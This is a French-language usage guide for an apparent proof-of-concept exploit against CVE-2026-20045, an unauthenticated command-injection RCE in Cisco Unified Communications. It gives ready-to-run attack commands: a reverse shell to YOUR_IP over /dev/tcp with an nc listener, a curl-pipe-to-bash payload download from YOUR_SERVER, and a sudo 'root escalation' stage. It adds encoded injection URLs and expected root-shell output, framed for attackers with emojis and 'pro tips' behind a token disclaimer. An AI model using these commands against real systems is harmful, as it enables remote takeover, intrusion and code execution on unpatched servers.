
Preuve de concept d'exploitation pour CVE-2026-20045, une RCE critique non authentifiée dans les produits Cisco Unified Communications, permettant l'injection de commandes et un reverse shell avec élévation de privilèges root.

Une vulnérabilité critique d'exécution de code à distance (RCE) affectant plusieurs produits Cisco Unified Communications. Elle a été activement exploitée dans la nature avant la publication des correctifs.
Cela signifie qu'un attaquant pourrait prendre entièrement le contrôle des systèmes affectés à distance.
Voici un guide soigné avec des exemples d'utilisation pour exécuter le script PoC, incluant exactement ce que vous verriez dans votre terminal si l'exploit réussit sur une cible Cisco Unified Communications vulnérable (interface web non corrigée exposée). J'ai ajouté quelques éléments esthétiques avec des emojis, des blocs de code colorés (via markdown) et des sections structurées pour une meilleure lisibilité. 😎
Cela exécute des commandes simples pour récupérer l'ID utilisateur, le nom d'utilisateur et les détails du système.
Commande :
python3 CVE-2026-20045.py https://target-ucm:8443 "id && whoami && uname -a"
Ce que vous verriez si cela fonctionne (Sortie réussie) :
[*] Sending Stage 1 injection to: https://target-ucm:8443/cucm-uds/?query=JyA7IGlkICYmIHdob2FtaSAmJiB1bmFtZSAtYSAj
[*] Initial command: id && whoami && uname -a
[+] Stage 1 likely succeeded! Status: 200
[*] Sending Stage 2 escalation to: https://target-ucm:8443/cucm-uds/?escalate=c3VkbyAtaTsgaWQgJiYgd2hvYW1pICYmIHVuYW1lIC1h
[+] Stage 2 (root escalation) likely succeeded! Status: 200
[+] Possible command output:
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
root
Linux ucm-server 5.15.0-89-generic #99-Ubuntu SMP Mon Oct 30 20:44:33 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
------------------------------------------------------------
🔑 Signes clés : Indicateurs verts [+], statut HTTP 200 et résultats de commande dans le bloc de sortie. Si aucune sortie ne s'affiche mais que le statut est 200, cela a quand même fonctionné silencieusement !
Cela génère un shell interactif vers votre machine. Tout d'abord, démarrez un écouteur : nc -lvnp 4444.
Commande :
python3 CVE-2026-20045.py https://target-ucm:8443 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
Ce que vous verriez si cela fonctionne (Dans le terminal du script) :
[*] Sending Stage 1 injection to: https://target-ucm:8443/cucm-uds/?query=JyA7IGJhc2ggLWkgPiYgL2Rldi90Y3AvWU9VUl9JUC80NDQ0IDAmPjEgIw==
[*] Initial command: bash -i >& /dev/tcp/YOUR_IP/4444 0>&1
[+] Stage 1 likely succeeded! Status: 200
[*] Sending Stage 2 escalation to: https://target-ucm:8443/cucm-uds/?escalate=c3VkbyAtaTsgYmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSX0lQLzQ0NDQgMD4mMQ==
[+] Stage 2 (root escalation) likely succeeded! Status: 200
[+] Command executed silently (check target for effects)
Ce que vous verriez dans le terminal de l'écouteur (nc) :
listening on [any] 4444 ...
connect to [YOUR_IP] from (UNKNOWN) [TARGET_IP] 54321
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
bash: no job control in this shell
root@ucm-server:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ucm-server:~#
🚀 Signes clés : Le script affiche des messages de succès ; l'écouteur reçoit immédiatement une invite shell root. Tapez des commandes ici pour interagir !
Cela télécharge et exécute un script depuis votre serveur.
Commande :
python3 CVE-2026-20045.py https://target-ucm:8443 "curl -s http://YOUR_SERVER/payload.sh | bash"
Ce que vous verriez si cela fonctionne (Sortie réussie) :
[*] Sending Stage 1 injection to: https://target-ucm:8443/cucm-uds/?query=JyA7IGN1cmwgLXMgaHR0cDovL1lPVVJfU0VSVkVSL3BheWxvYWQuc2ggfCBiYXNoICM=
[*] Initial command: curl -s http://YOUR_SERVER/payload.sh | bash
[+] Stage 1 likely succeeded! Status: 200
[*] Sending Stage 2 escalation to: https://target-ucm:8443/cucm-uds/?escalate=c3VkbyAtaTsgY3VybCAtcyBodHRwOi8vWU9VUl9TRVJWRVIvcGF5bG9hZC5zaCB8IGJhc2g=
[+] Stage 2 (root escalation) likely succeeded! Status: 200
[+] Command executed silently (check target for effects)
📥 Signes clés : Codes de statut 200 ; vérifiez sur la cible (par exemple, journaux/fichiers) ou sur votre serveur (journaux de téléchargement). Aucune sortie directe si le payload est silencieux.
💡 Conseils de pro :
sudo si nécessaire pour les privilèges réseau.Validation incorrecte des entrées fournies par l'utilisateur dans les interfaces de gestion HTTP, permettant une injection de commandes qui conduit à une exécution de code à distance.
Tout le code PoC est destiné à un usage éthique et éducatif uniquement sur des systèmes autorisés. L'exploitation non autorisée est illégale ; aucune responsabilité n'est assumée en cas de mauvaise utilisation. 😈